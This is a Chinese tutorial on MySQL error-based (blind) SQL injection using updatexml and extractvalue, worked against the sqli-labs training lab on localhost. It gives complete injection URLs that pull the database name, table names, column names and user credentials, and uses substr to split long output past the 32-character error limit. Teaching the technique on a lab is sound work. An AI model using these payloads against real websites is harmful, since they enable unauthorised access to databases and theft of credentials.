一.基本概念
盲注就是在SQL注入过程中,SQL语句执行后,查询到的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
-
报错注入的特性:SQL 注入的一种,页面上没有显示位,但是会输出SQL语句执行错误信息。比如mysql_error()函数的报错信息。利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这种手段在联合查询受限且能返回错误信息的情况下比较好用。
-
正确的页面:
-
输入单引号报错的页面:
-
二.报错注入的分类
MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,根据漏洞原因的不同,可以将MySQL报错注入分为以下几类:
- BigInt等数据类型溢出
- xpath语法错误
- count()+rand()+group_by()导致主键重复
- 空间数据类型函数错误
xpath语法错误
从mysql5.1.5开始提供了两个XML查询和修改的函数,可以通过一下函数报错,来显示注入命令执行结果:
-
updatexml():适用于5.5.5-5.5.49版本
-
函数格式:updatexml((XML_document, XPath_string,new_value)
- XML_document:xml文档的名称。
- XPath_string:xpath格式的字符串。
- new_value:替换查找到的符合条件的数据。
-
函数功能:查找一个字符串,并进行替换。
-
-
extractvalue():适用于5.1.5+版本
-
extractvalue函数格式:extractvalue((XML_document,XPath_string)
- PS:除了没有第三个参数(new_value),其它与updataxml()函数完全一样。所以后面只讲updatexml()函数的使用。
-
xpath报错注入的原理:
- 在XPath_string处也就是第二个参数那里传入不符合xpath格式的特殊字符,并加上一些查询语句,mysql就会把错误和查询语句的结果报错显示出来。
注意事项:
-
必须是在XPath_string处传特殊字符,mysql才会报错,同时我们还需要注入命令,没这么多位置,所以要用到concat函数。
- concat(s1,s2...sn):将字符串s1,s2...sn合并为一个字符串。
-
xpath只会对特殊字符进行报错,这里我们可以用16进制的0x7e( ~ )来进行利用。
-
xpath只会报错32个字符,对于输出结果大于32个字符的命令,要用substr函数截取后分段输出。
- substr(str, start, length):从字符串 str 的 start 位置截取长度为 length 的子字符串,start从1开始。
三.攻击流程
1.判断是否存在注入
URL:http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27(在URL编码中,单引号(')会被编码为%27)
-
报错页面:
-
因为单引号不匹配,则会报错。如果能引起数据库的报错,说明用户是可以对查询语句进行修改的,说明存在漏洞。
2.判断注入类型
-
通过添加字符串判断
-
直接在要修改的数字后面添加字符串
-
例如:id=1,那么就修改成id=1adsadw(随便添加几个字符串)
-
id=1 和 id=1qad
-
返回相同内容:不是数字型注入,大概率是字符型注入
PS:字符型注入会发生隐式类型转换导致两次请求返回的内容相同。
-
返回不相同内容:是数字型注入
-
-
-
-
通过1' and 1=1 和 1' and 1=2进行判断
-
有变化则说明是字符型的注入,因为字符型的参数是需要引号引起来的。
-
http://127.0.0.1/sqli/Less-5/?id=1' and 1=1%23
-
http://127.0.0.1/sqli/Less-5/?id=1' and 1=2%23
-
-
3.获取数据库名
-
传入URL
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
-
执行结果
攻击语句构造原理:
- 首先回到语法格式上:updatexml((XML_document,XPath_string, new_value),我们必须在XPath_string这个参数里填充xpath格式的字符串,但是如果我们填充一个不是xpath格式的字符串,就会产生报错,所以语句就变成了updatexml(1,database(),1),前后两个1是随便填充的内容,目的是满足三个参数。
- 由于xpath只会对特殊字符进行报错,这里我们可以用~,16进制的0x7e来进行利用,所以就变成了updatexml(1,0x7edataase()0x7e,1),但是由于数据库无法认识中间的内容,所以就无法成功执行,所以可以用concat()函数把多个字符串合并成一个.
- 最终结果:updatexml(1,concat(0x7e,database(),0x7e),1)
4.获取数据库表名
-
传入URL
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)%23
-
执行结果
-
注意:
- 因为concat(),中间不允许有空格,所以需要括号括起来把它变成一个整体。
- concat()函数无法将多行合并为一行,所以可以先用group_conat()函数将多行合并为一行。
5.获取指定表中的字段
-
传入URL
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)%23
-
执行结果
6.获取字段中的记录
-
传入URL
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)%23
- 执行结果
-
由于xpath只会报错32个字符,所以可以使用substr()函数进行字符串截取
-
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),1,32),0x7e),1)%23
-
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),31,32),0x7e),1)%23
- substr(str, start, length):从字符串 str 的 start 位置截取长度为 length 的子字符串,start从1开始。
-